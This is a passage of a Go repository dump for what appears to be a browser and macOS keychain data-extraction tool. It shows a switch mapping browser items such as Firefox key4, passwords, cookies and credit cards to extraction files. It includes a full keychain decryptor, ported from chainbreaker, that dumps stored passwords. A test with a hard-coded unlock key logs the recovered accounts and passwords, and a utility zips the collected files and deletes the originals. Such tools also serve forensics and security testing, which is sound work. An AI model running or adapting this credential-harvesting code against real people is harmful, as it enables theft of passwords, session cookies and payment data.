fileYandexPassword\n\tcase YandexCreditCard:\n\t\treturn fileYandexCredit\n\tcase FirefoxKey4:\n\t\treturn fileFirefoxKey4\n\tcase FirefoxPassword:\n\t\treturn fileFirefoxPassword\n\tcase FirefoxCookie:\n\t\treturn fileFirefoxCookie\n\tcase FirefoxBookmark:\n\t\treturn fileFirefoxData\n\tcase FirefoxDownload:\n\t\treturn fileFirefoxData\n\tcase FirefoxLocalStorage:\n\t\treturn fileFirefoxLocalStorage\n\tcase FirefoxHistory:\n\t\treturn fileFirefoxData\n\tcase FirefoxExtension:\n\t\treturn fileFirefoxExtension\n\tcase FirefoxCreditCard:\n\t\treturn UnsupportedItem\n\tdefault:\n\t\treturn UnsupportedItem\n\t}\n}\n"
  },
  {
    "path": "utils/byteutil/byteutil.go",
    "content": "package byteutil\n\nvar OnSplitUTF8Func = func(r rune) rune {\n\tif r == 0x00 || r == 0x01 {\n\t\treturn -1\n\t}\n\treturn r\n}\n"
  },
  {
    "path": "utils/chainbreaker/chainbreaker.go",
    "content": "package chainbreaker\n\n// Logic ported from https://github.com/n0fate/chainbreaker\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\t\"unicode/utf8\"\n)\n\nconst (\n\tatomSize                         = 4\n\theaderSize                       = 20\n\tschemaSize                       = 8\n\ttableHeaderSize                  = 28\n\tkeyBlobRecordHeaderSize          = 132\n\tkeyBlobStructSize                = 24\n\tgenericPasswordHeaderSize        = 22 * 4\n\tblockSize                        = 8\n\tkeyLength                        = 24\n\tmetadataOffsetAdjustment         = 0x38\n\tkeyBlobMagic              uint32 = 0xFADE0711\n\tkeychainSignature                = \"kych\"\n\tsecureStorageGroup               = \"ssgp\"\n\tkeychainLockedSignature          = \"[Invalid Password / Keychain Locked]\"\n)\n\nconst (\n\tcssmDBRecordTypeAppDefinedStart uint32 = 0x80000000\n\tcssmGenericPassword                    = cssmDBRecordTypeAppDefinedStart + 0\n\tcssmMetadata                           = cssmDBRecordTypeAppDefinedStart + 0x8000\n\tcssmDBRecordTypeOpenGroupStart  uint32 = 0x0000000A\n\tcssmSymmetricKey                       = cssmDBRecordTypeOpenGroupStart + 7\n)\n\nconst dbBlobSize = 92\n\nvar magicCMSIV = []byte{0x4a, 0xdd, 0xa2, 0x2c, 0x79, 0xe8, 0x21, 0x05}\n\ntype Keychain struct {\n\tbuf       []byte\n\theader    applDBHeader\n\ttableList []uint32\n\ttableEnum map[uint32]int\n\tdbblob    dbBlob\n\tbaseAddr  int\n\tdbKey     []byte\n\tkeyList   map[string][]byte\n}\n\ntype applDBHeader struct {\n\tSignature    [4]byte\n\tVersion      uint32\n\tHeaderSize   uint32\n\tSchemaOffset uint32\n\tAuthOffset   uint32\n}\n\ntype applDBSchema struct {\n\tSchemaSize uint32\n\tTableCount uint32\n}\n\ntype tableHeader struct {\n\tTableSize          uint32\n\tTableID            uint32\n\tRecordCount        uint32\n\tRecords            uint32\n\tIndexesOffset      uint32\n\tFreeListHead       uint32\n\tRecordNumbersCount uint32\n}\n\ntype dbBlob struct {\n\tStartCryptoBlob uint32\n\tTotalLength     uint32\n\tSalt            []byte\n\tIV              []byte\n}\n\ntype keyBlobRecordHeader struct {\n\tRecordSize uint32\n}\n\ntype keyBlob struct {\n\tMagic           uint32\n\tStartCryptoBlob uint32\n\tTotalLength     uint32\n\tIV              []byte\n}\n\ntype genericPasswordHeader struct {\n\tRecordSize   uint32\n\tSSGPArea     uint32\n\tCreationDate uint32\n\tModDate      uint32\n\tDescription  uint32\n\tComment      uint32\n\tCreator      uint32\n\tType         uint32\n\tPrintName    uint32\n\tAlias        uint32\n\tAccount      uint32\n\tService      uint32\n}\n\ntype ssgpBlock struct {\n\tMagic             []byte\n\tLabel             []byte\n\tIV                []byte\n\tEncryptedPassword []byte\n}\n\ntype genericPassword struct {\n\tDescription    string\n\tCreator        string\n\tType           string\n\tPrintName      string\n\tAlias          string\n\tAccount        string\n\tService        string\n\tCreated        string\n\tLastModified   string\n\tPassword       string\n\tPasswordBase64 bool\n}\n\nfunc New(path, unlockHex string) (*Keychain, error) {\n\tbuf, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\thdr, err := parseHeader(buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif string(hdr.Signature[:]) != keychainSignature {\n\t\treturn nil, fmt.Errorf(\"invalid keychain signature: %q\", hdr.Signature)\n\t}\n\n\tschema, tableList, err := parseSchema(buf, hdr.SchemaOffset)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif schema.TableCount == 0 {\n\t\treturn nil, errors.New(\"schema does not list any tables\")\n\t}\n\n\tkc := &Keychain{\n\t\tbuf:       buf,\n\t\theader:    hdr,\n\t\ttableList: tableList,\n\t\ttableEnum: make(map[uint32]int),\n\t\tkeyList:   make(map[string][]byte),\n\t}\n\tif err := kc.buildTableIndex(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmetaOffset, err := kc.getTableOffset(cssmMetadata)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkc.baseAddr = headerSize + int(metaOffset) + metadataOffsetAdjustment\n\tif kc.baseAddr+dbBlobSize > len(kc.buf) {\n\t\treturn nil, errors.New(\"db blob exceeds file size\")\n\t}\n\tblob, err := parseDBBlob(kc.buf[kc.baseAddr : kc.baseAddr+dbBlobSize])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkc.dbblob = blob\n\n\tmasterKey, err := decodeUnlockKey(unlockHex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdbKey, err := kc.findWrappingKey(masterKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkc.dbKey = dbKey\n\n\tif err := kc.generateKeyList(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn kc, nil\n}\n\nfunc parseHeader(buf []byte) (applDBHeader, error) {\n\tif len(buf) < headerSize {\n\t\treturn applDBHeader{}, errors.New(\"file too small for header\")\n\t}\n\thdr := applDBHeader{}\n\tcopy(hdr.Signature[:], buf[:4])\n\thdr.Version = binary.BigEndian.Uint32(buf[4:8])\n\thdr.HeaderSize = binary.BigEndian.Uint32(buf[8:12])\n\thdr.SchemaOffset = binary.BigEndian.Uint32(buf[12:16])\n\thdr.AuthOffset = binary.BigEndian.Uint32(buf[16:20])\n\treturn hdr, nil\n}\n\nfunc parseSchema(buf []byte, offset uint32) (applDBSchema, []uint32, error) {\n\tif int(offset)+schemaSize > len(buf) {\n\t\treturn applDBSchema{}, nil, errors.New(\"schema offset exceeds file size\")\n\t}\n\tschema := applDBSchema{}\n\tstart := int(offset)\n\tschema.SchemaSize = binary.BigEndian.Uint32(buf[start : start+4])\n\tschema.TableCount = binary.BigEndian.Uint32(buf[start+4 : start+8])\n\n\tbaseAddr := headerSize + schemaSize\n\ttableList := make([]uint32, schema.TableCount)\n\tfor i := 0; i < int(schema.TableCount); i++ {\n\t\tpos := baseAddr + i*atomSize\n\t\tif pos+atomSize > len(buf) {\n\t\t\treturn applDBSchema{}, nil, errors.New(\"table list exceeds file size\")\n\t\t}\n\t\ttableList[i] = binary.BigEndian.Uint32(buf[pos : pos+atomSize])\n\t}\n\treturn schema, tableList, nil\n}\n\nfunc parseDBBlob(buf []byte) (dbBlob, error) {\n\tif len(buf) < dbBlobSize {\n\t\treturn dbBlob{}, errors.New(\"db blob buffer too small\")\n\t}\n\tblob := dbBlob{}\n\tblob.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])\n\tblob.TotalLength = binary.BigEndian.Uint32(buf[12:16])\n\t// Salt and IV are located after the random signature (16 bytes), sequence (4 bytes),\n\t// and DB parameters (8 bytes) inside the blob structure.\n\tblob.Salt = append([]byte{}, buf[44:64]...)\n\tblob.IV = append([]byte{}, buf[64:72]...)\n\treturn blob, nil\n}\n\nfunc decodeUnlockKey(hexKey string) ([]byte, error) {\n\tcleaned := strings.TrimSpace(hexKey)\n\tcleaned = strings.TrimPrefix(cleaned, \"0x\")\n\tkey, err := hex.DecodeString(cleaned)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to decode unlock key: %w\", err)\n\t}\n\tif len(key) != keyLength {\n\t\treturn nil, fmt.Errorf(\"unlock key must be %d bytes (got %d)\", keyLength, len(key))\n\t}\n\treturn key, nil\n}\n\nfunc (kc *Keychain) buildTableIndex() error {\n\tfor idx, offset := range kc.tableList {\n\t\tif offset == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tmeta, _, err := kc.getTable(offset)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif _, exists := kc.tableEnum[meta.TableID]; !exists {\n\t\t\tkc.tableEnum[meta.TableID] = idx\n\t\t}\n\t}\n\tif len(kc.tableEnum) == 0 {\n\t\treturn errors.New(\"unable to derive table index\")\n\t}\n\treturn nil\n}\n\nfunc (kc *Keychain) getTableOffset(tableID uint32) (uint32, error) {\n\tidx, ok := kc.tableEnum[tableID]\n\tif !ok || idx >= len(kc.tableList) {\n\t\treturn 0, fmt.Errorf(\"table id %d not present\", tableID)\n\t}\n\treturn kc.tableList[idx], nil\n}\n\nfunc (kc *Keychain) getTableFromType(tableID uint32) (tableHeader, []uint32, error) {\n\toffset, err := kc.getTableOffset(tableID)\n\tif err != nil {\n\t\treturn tableHeader{}, nil, err\n\t}\n\treturn kc.getTable(offset)\n}\n\nfunc (kc *Keychain) getTable(offset uint32) (tableHeader, []uint32, error) {\n\tbase := headerSize + int(offset)\n\tif base < 0 || base+tableHeaderSize > len(kc.buf) {\n\t\treturn tableHeader{}, nil, errors.New(\"table header exceeds file size\")\n\t}\n\tmeta := tableHeader{}\n\tdata := kc.buf[base : base+tableHeaderSize]\n\tmeta.TableSize = binary.BigEndian.Uint32(data[0:4])\n\tmeta.TableID = binary.BigEndian.Uint32(data[4:8])\n\tmeta.RecordCount = binary.BigEndian.Uint32(data[8:12])\n\tmeta.Records = binary.BigEndian.Uint32(data[12:16])\n\tmeta.IndexesOffset = binary.BigEndian.Uint32(data[16:20])\n\tmeta.FreeListHead = binary.BigEndian.Uint32(data[20:24])\n\tmeta.RecordNumbersCount = binary.BigEndian.Uint32(data[24:28])\n\n\trecordBase := base + tableHeaderSize\n\trecordList := make([]uint32, 0, meta.RecordCount)\n\tfor idx := 0; idx < int(meta.RecordCount); idx++ {\n\t\tpos := recordBase + idx*atomSize\n\t\tif pos+atomSize > len(kc.buf) {\n\t\t\treturn meta, recordList, errors.New(\"record offset exceeds file size\")\n\t\t}\n\t\tvalue := binary.BigEndian.Uint32(kc.buf[pos : pos+atomSize])\n\t\tif value != 0 && value%4 == 0 {\n\t\t\trecordList = append(recordList, value)\n\t\t}\n\t}\n\treturn meta, recordList, nil\n}\n\nfunc (kc *Keychain) findWrappingKey(master []byte) ([]byte, error) {\n\tstart := kc.baseAddr + int(kc.dbblob.StartCryptoBlob)\n\tend := kc.baseAddr + int(kc.dbblob.TotalLength)\n\tif start < 0 || end > len(kc.buf) || start >= end {\n\t\treturn nil, errors.New(\"db blob cipher bounds invalid\")\n\t}\n\tplain, err := kcdecrypt(master, kc.dbblob.IV, kc.buf[start:end])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(plain) < keyLength {\n\t\treturn nil, errors.New(\"db key shorter than expected\")\n\t}\n\treturn append([]byte{}, plain[:keyLength]...), nil\n}\n\nfunc (kc *Keychain) generateKeyList() error {\n\t_, records, err := kc.getTableFromType(cssmSymmetricKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, recordOffset := range records {\n\t\tindex, ciphertext, iv, err := kc.getKeyblobRecord(recordOffset)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tkey, err := keyblobDecryption(ciphertext, iv, kc.dbKey)\n\t\tif err != nil || len(key) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tkc.keyList[string(index)] = key\n\t}\n\tif len(kc.keyList) == 0 {\n\t\treturn errors.New(\"no symmetric keys recovered\")\n\t}\n\treturn nil\n}\n\nfunc (kc *Keychain) getKeyblobRecord(recordOffset uint32) ([]byte, []byte, []byte, error) {\n\tbase, err := kc.getBaseAddress(cssmSymmetricKey, recordOffset)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tif base+keyBlobRecordHeaderSize > len(kc.buf) {\n\t\treturn nil, nil, nil, errors.New(\"keyblob header exceeds file size\")\n\t}\n\thdr := keyBlobRecordHeader{}\n\thdr.RecordSize = binary.BigEndian.Uint32(kc.buf[base : base+4])\n\t_ = binary.BigEndian.Uint32(kc.buf[base+4 : base+8]) // Skip RecordCount\n\n\trecordStart := base + keyBlobRecordHeaderSize\n\trecordEnd := base + int(hdr.RecordSize)\n\tif recordEnd > len(kc.buf) {\n\t\treturn nil, nil, nil, errors.New(\"keyblob record exceeds file size\")\n\t}\n\trecord := kc.buf[recordStart:recordEnd]\n\tif len(record) < keyBlobStructSize {\n\t\treturn nil, nil, nil, errors.New(\"keyblob structure incomplete\")\n\t}\n\tblob, err := parseKeyBlob(record[:keyBlobStructSize])\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tif blob.Magic != keyBlobMagic {\n\t\treturn nil, nil, nil, errors.New(\"unexpected keyblob magic\")\n\t}\n\tif secureStorageGroup != readASCII(record, int(blob.TotalLength)+8, 4) {\n\t\treturn nil, nil, nil, errors.New(\"keyblob not part of secure storage group\")\n\t}\n\n\tcipherStart := int(blob.StartCryptoBlob)\n\tcipherEnd := int(blob.TotalLength)\n\tif cipherEnd > len(record) || cipherStart >= cipherEnd {\n\t\treturn nil, nil, nil, errors.New(\"invalid cipher bounds\")\n\t}\n\tcipherText := append([]byte{}, record[cipherStart:cipherEnd]...)\n\n\tindexStart := int(blob.TotalLength) + 8\n\tindexEnd := indexStart + 20\n\tif indexEnd > len(record) {\n\t\treturn nil, nil, nil, errors.New(\"key index exceeds record length\")\n\t}\n\tindex := append([]byte{}, record[indexStart:indexEnd]...)\n\tiv := append([]byte{}, blob.IV...)\n\treturn index, cipherText, iv, nil\n}\n\nfunc parseKeyBlob(buf []byte) (keyBlob, error) {\n\tif len(buf) < keyBlobStructSize {\n\t\treturn keyBlob{}, errors.New(\"key blob buffer too small\")\n\t}\n\tkb := keyBlob{}\n\tkb.Magic = binary.BigEndian.Uint32(buf[0:4])\n\tkb.StartCryptoBlob = binary.BigEndian.Uint32(buf[8:12])\n\tkb.TotalLength = binary.BigEndian.Uint32(buf[12:16])\n\tkb.IV = append([]byte{}, buf[16:24]...)\n\treturn kb, nil\n}\n\nfunc (kc *Keychain) getBaseAddress(tableID uint32, offset uint32) (int, error) {\n\tswitch tableID {\n\tcase 23972, 30912:\n\t\ttableID = 16\n\t}\n\ttableOffset, err := kc.getTableOffset(tableID)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tbase := headerSize + int(tableOffset)\n\tif offset != 0 {\n\t\tbase += int(offset)\n\t}\n\tif base > len(kc.buf) {\n\t\treturn 0, errors.New(\"base address exceeds buffer\")\n\t}\n\treturn base, nil\n}\n\nfunc keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) {\n\tplain, err := kcdecrypt(dbkey, magicCMSIV, encryptedblob)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(plain) == 0 {\n\t\treturn nil, errors.New(\"empty plain blob\")\n\t}\n\tif len(plain) < 32 {\n\t\treturn nil, errors.New(\"wrapped blob too short\")\n\t}\n\trev := make([]byte, 32)\n\tfor i := 0; i < 32; i++ {\n\t\trev[i] = plain[31-i]\n\t}\n\tfinalPlain, err := kcdecrypt(dbkey, iv, rev)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(finalPlain) < 4 {\n\t\treturn nil, errors.New(\"final plain too short\")\n\t}\n\tkey := finalPlain[4:]\n\tif len(key) != keyLength {\n\t\treturn nil, errors.New(\"invalid unwrapped key length\")\n\t}\n\treturn append([]byte{}, key...), nil\n}\n\nfunc kcdecrypt(key, iv, data []byte) ([]byte, error) {\n\tif len(data) == 0 {\n\t\treturn nil, errors.New(\"ciphertext is empty\")\n\t}\n\tif len(data)%blockSize != 0 {\n\t\treturn nil, errors.New(\"ciphertext not aligned to block size\")\n\t}\n\tblock, err := des.NewTripleDESCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(iv) != blockSize {\n\t\treturn nil, errors.New(\"invalid IV length\")\n\t}\n\tplain := make([]byte, len(data))\n\tcipher.NewCBCDecrypter(block, iv).CryptBlocks(plain, data)\n\n\tpad := int(plain[len(plain)-1])\n\tif pad == 0 || pad > blockSize {\n\t\treturn nil, errors.New(\"invalid padding value\")\n\t}\n\tfor _, b := range plain[len(plain)-pad:] {\n\t\tif int(b) != pad {\n\t\t\treturn nil, errors.New(\"padding verification failed\")\n\t\t}\n\t}\n\treturn plain[:len(plain)-pad], nil\n}\n\nfunc (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) {\n\t_, records, err := kc.getTableFromType(cssmGenericPassword)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresults := make([]genericPassword, 0, len(records))\n\tfor _, offset := range records {\n\t\trec, err := kc.parseGenericPasswordRecord(offset)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tresults = append(results, rec)\n\t}\n\treturn results, nil\n}\n\nfunc (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (genericPassword, error) {\n\tbase, err := kc.getBaseAddress(cssmGenericPassword, recordOffset)\n\tif err != nil {\n\t\treturn genericPassword{}, err\n\t}\n\tif base+genericPasswordHeaderSize > len(kc.buf) {\n\t\treturn genericPassword{}, errors.New(\"generic password header exceeds file size\")\n\t}\n\theader, err := parseGenericPasswordHeader(kc.buf[base : base+genericPasswordHeaderSize])\n\tif err != nil {\n\t\treturn genericPassword{}, err\n\t}\n\trecordEnd := base + int(header.RecordSize)\n\tif recordEnd > len(kc.buf) {\n\t\treturn genericPassword{}, errors.New(\"generic password record exceeds file size\")\n\t}\n\tbuffer := kc.buf[base+genericPasswordHeaderSize : recordEnd]\n\n\tssgp, dbkey := kc.extractSSGP(header, buffer)\n\tpassword, base64Encoded := decryptSSGP(ssgp, dbkey)\n\n\trec := genericPassword{\n\t\tDescription:    kc.readLV(base, header.Description),\n\t\tCreator:        kc.readFourChar(base, header.Creator),\n\t\tType:           kc.readFourChar(base, header.Type),\n\t\tPrintName:      kc.readLV(base, header.PrintName),\n\t\tAlias:          kc.readLV(base, header.Alias),\n\t\tAccount:        kc.readLV(base, header.Account),\n\t\tService:        kc.readLV(base, header.Service),\n\t\tCreated:        kc.readKeychainTime(base, header.CreationDate),\n\t\tLastModified:   kc.readKeychainTime(base, header.ModDate),\n\t\tPassword:       password,\n\t\tPasswordBase64: base64Encoded,\n\t}\n\treturn rec, nil\n}\n\nfunc parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, error) {\n\tif len(buf) < genericPasswordHeaderSize {\n\t\treturn genericPasswordHeader{}, errors.New(\"generic password header too small\")\n\t}\n\tvals := make([]uint32, 22)\n\tfor i := 0; i < 22; i++ {\n\t\tstart := i * 4\n\t\tvals[i] = binary.BigEndian.Uint32(buf[start : start+4])\n\t}\n\thdr := genericPasswordHeader{\n\t\tRecordSize:   vals[0],\n\t\tSSGPArea:     vals[4],\n\t\tCreationDate: vals[6],\n\t\tModDate:      vals[7],\n\t\tDescription:  vals[8],\n\t\tComment:      vals[9],\n\t\tCreator:      vals[10],\n\t\tType:         vals[11],\n\t\tPrintName:    vals[13],\n\t\tAlias:        vals[14],\n\t\tAccount:      vals[19],\n\t\tService:      vals[20],\n\t}\n\treturn hdr, nil\n}\n\nfunc (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer []byte) (*ssgpBlock, []byte) {\n\tif header.SSGPArea == 0 || int(header.SSGPArea) > len(buffer) {\n\t\treturn nil, nil\n\t}\n\tblock, err := parseSSGP(buffer[:header.SSGPArea])\n\tif err != nil {\n\t\treturn nil, nil\n\t}\n\tkeyIndex := make([]byte, 0, len(block.Magic)+len(block.Label))\n\tkeyIndex = append(keyIndex, block.Magic...)\n\tkeyIndex = append(keyIndex, block.Label...)\n\tdbkey, ok := kc.keyList[string(keyIndex)]\n\tif !ok {\n\t\treturn block, nil\n\t}\n\treturn block, dbkey\n}\n\nfunc parseSSGP(buf []byte) (*ssgpBlock, error) {\n\tif len(buf) < 28 {\n\t\treturn nil, errors.New(\"ssgp buffer too small\")\n\t}\n\tblock := &ssgpBlock{\n\t\tMagic:             append([]byte{}, buf[0:4]...),\n\t\tLabel:             append([]byte{}, buf[4:20]...),\n\t\tIV:                append([]byte{}, buf[20:28]...),\n\t\tEncryptedPassword: append([]byte{}, buf[28:]...),\n\t}\n\treturn block, nil\n}\n\nfunc decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) {\n\tif block == nil || len(dbkey) == 0 {\n\t\treturn keychainLockedSignature, false\n\t}\n\tplain, err := kcdecrypt(dbkey, block.IV, block.EncryptedPassword)\n\tif err != nil || len(plain) == 0 {\n\t\treturn keychainLockedSignature, false\n\t}\n\tif utf8.Valid(plain) {\n\t\treturn string(plain), false\n\t}\n\treturn base64.StdEncoding.EncodeToString(plain), true\n}\n\nfunc (kc *Keychain) readKeychainTime(base int, ptr uint32) string {\n\tif ptr == 0 {\n\t\treturn \"\"\n\t}\n\toffset := base + maskedPointer(ptr)\n\tif offset < 0 || offset+16 > len(kc.buf) {\n\t\treturn \"\"\n\t}\n\traw := bytes.TrimRight(kc.buf[offset:offset+16], \"\\x00\")\n\tif len(raw) == 0 {\n\t\treturn \"\"\n\t}\n\tparsed, err := time.Parse(\"20060102150405Z\", string(raw))\n\tif err != nil {\n\t\treturn string(raw)\n\t}\n\treturn parsed.Format(time.RFC3339)\n}\n\nfunc (kc *Keychain) readFourChar(base int, ptr uint32) string {\n\tif ptr == 0 {\n\t\treturn \"\"\n\t}\n\toffset := base + maskedPointer(ptr)\n\tif offset < 0 || offset+4 > len(kc.buf) {\n\t\treturn \"\"\n\t}\n\treturn strings.TrimRight(string(kc.buf[offset:offset+4]), \"\\x00\")\n}\n\nfunc (kc *Keychain) readLV(base int, ptr uint32) string {\n\tif ptr == 0 {\n\t\treturn \"\"\n\t}\n\toffset := base + maskedPointer(ptr)\n\tif offset < 0 || offset+4 > len(kc.buf) {\n\t\treturn \"\"\n\t}\n\tlength := int(binary.BigEndian.Uint32(kc.buf[offset : offset+4]))\n\tpadded := alignToWord(length)\n\tstart := offset + 4\n\tend := start + padded\n\tif end > len(kc.buf) {\n\t\treturn \"\"\n\t}\n\tdata := kc.buf[start : start+length]\n\tdata = bytes.TrimRight(data, \"\\x00\")\n\treturn string(data)\n}\n\nfunc maskedPointer(value uint32) int {\n\treturn int(value & 0xFFFFFFFE)\n}\n\nfunc alignToWord(value int) int {\n\tif value%4 == 0 {\n\t\treturn value\n\t}\n\treturn ((value / 4) + 1) * 4\n}\n\nfunc readASCII(buf []byte, start, length int) string {\n\tif start < 0 || start+length > len(buf) {\n\t\treturn \"\"\n\t}\n\treturn string(buf[start : start+length])\n}\n"
  },
  {
    "path": "utils/chainbreaker/chainbreaker_test.go",
    "content": "package chainbreaker\n\nimport (\n\t\"testing\"\n)\n\nfunc TestUnlockKeychain(t *testing.T) {\n\tkeychain, err := New(\"./testdata/test.keychain-db\", \"6d43376c0d257bbaca2c41eded65b3b34a1a96bd19979bde\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to unlock keychain: %v\", err)\n\t}\n\trecords, err := keychain.DumpGenericPasswords()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor _, rec := range records {\n\t\tt.Log(\"[+] Generic Password Record\")\n\t\tt.Logf(\" [-] Service: %s\\n\", rec.Service)\n\t\tt.Logf(\" [-] Account: %s\\n\", rec.Account)\n\t\tt.Logf(\" [-] Description: %s\\n\", rec.Description)\n\t\tt.Logf(\" [-] Created: %s\\n\", rec.Created)\n\t\tt.Logf(\" [-] Last Modified: %s\\n\", rec.LastModified)\n\t\tif rec.PasswordBase64 {\n\t\t\tt.Logf(\" [-] Base64 Password: %s\\n\", rec.Password)\n\t\t} else {\n\t\t\tt.Logf(\" [-] Password: %s\\n\", rec.Password)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "utils/fileutil/filetutil.go",
    "content": "package fileutil\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\tcp \"github.com/otiai10/copy\"\n)\n\n// IsFileExists checks if the file exists in the provided path\nfunc IsFileExists(filename string) bool {\n\tinfo, err := os.Stat(filename)\n\tif os.IsNotExist(err) {\n\t\treturn false\n\t}\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn !info.IsDir()\n}\n\n// IsDirExists checks if the folder exists\nfunc IsDirExists(folder string) bool {\n\tinfo, err := os.Stat(folder)\n\tif os.IsNotExist(err) {\n\t\treturn false\n\t}\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn info.IsDir()\n}\n\n// ReadFile reads the file from the provided path\nfunc ReadFile(filename string) (string, error) {\n\ts, err := os.ReadFile(filename)\n\treturn string(s), err\n}\n\n// CopyDir copies the directory from the source to the destination\n// skip the file if you don't want to copy\nfunc CopyDir(src, dst, skip string) error {\n\ts := cp.Options{Skip: func(info os.FileInfo, src, dst string) (bool, error) {\n\t\treturn strings.HasSuffix(strings.ToLower(src), skip), nil\n\t}}\n\treturn cp.Copy(src, dst, s)\n}\n\n// CopyFile copies the file from the source to the destination\nfunc CopyFile(src, dst string) error {\n\ts, err := os.ReadFile(src)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = os.WriteFile(dst, s, 0o600)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// Filename returns the filename from the provided path\nfunc Filename(browser, dataType, ext string) string {\n\treplace := strings.NewReplacer(\" \", \"_\", \".\", \"_\", \"-\", \"_\")\n\treturn strings.ToLower(fmt.Sprintf(\"%s_%s.%s\", replace.Replace(browser), dataType, ext))\n}\n\nfunc BrowserName(browser, user string) string {\n\treplace := strings.NewReplacer(\" \", \"_\", \".\", \"_\", \"-\", \"_\", \"Profile\", \"user\")\n\treturn strings.ToLower(fmt.Sprintf(\"%s_%s\", replace.Replace(browser), replace.Replace(user)))\n}\n\n// ParentDir returns the parent directory of the provided path\nfunc ParentDir(p string) string {\n\treturn filepath.Dir(filepath.Clean(p))\n}\n\n// BaseDir returns the base directory of the provided path\nfunc BaseDir(p string) string {\n\treturn filepath.Base(p)\n}\n\n// ParentBaseDir returns the parent base directory of the provided path\nfunc ParentBaseDir(p string) string {\n\treturn BaseDir(ParentDir(p))\n}\n\n// CompressDir compresses the directory into a zip file\nfunc CompressDir(dir string) error {\n\tfiles, err := os.ReadDir(dir)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"read dir error: %w\", err)\n\t}\n\tif len(files) == 0 {\n\t\t// Return an error if no files are found in the directory\n\t\treturn fmt.Errorf(\"no files to compress in: %s\", dir)\n\t}\n\n\tbuffer := new(bytes.Buffer)\n\tzipWriter := zip.NewWriter(buffer)\n\tdefer func() {\n\t\t_ = zipWriter.Close()\n\t}()\n\n\tfor _, file := range files {\n\t\tif err := addFileToZip(zipWriter, filepath.Join(dir, file.Name())); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to add file to zip: %w\", err)\n\t\t}\n\t}\n\n\tif err := zipWriter.Close(); err != nil {\n\t\treturn fmt.Errorf(\"error closing zip writer: %w\", err)\n\t}\n\n\tzipFilename := filepath.Join(dir, filepath.Base(dir)+\".zip\")\n\treturn writeFile(buffer, zipFilename)\n}\n\nfunc addFileToZip(zw *zip.Writer, filename string) error {\n\tcontent, err := os.ReadFile(filename)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error reading file %s: %w\", filename, err)\n\t}\n\n\tfw, err := zw.Create(filepath.Base(filename))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating zip entry for %s: %w\", filename, err)\n\t}\n\n\tif _, err = fw.Write(content); err != nil {\n\t\treturn fmt.Errorf(\"error writing content to zip for %s: %w\", filename, err)\n\t}\n\n\tif err = os.Remove(filename); err != nil {\n\t\treturn fmt.Errorf(\"error removing original file %s: %w\", filename, err)\n\t}\n\n\treturn nil\n}\n\nfunc writeFile(buffer *bytes.Buffer, filename string) error {\n\toutFile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating output file %s: %w\", filename, err)\n\t}\n\tdefer func() {\n\t\t_ = outFile.Close()\n\t}()\n\n\tif _, err = buffer.WriteTo(outFile); err != nil {\n\t\treturn fmt.Errorf(\"error writing data to file %s: %w\", filename, err)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "utils/fileutil/fileutil_test.go",
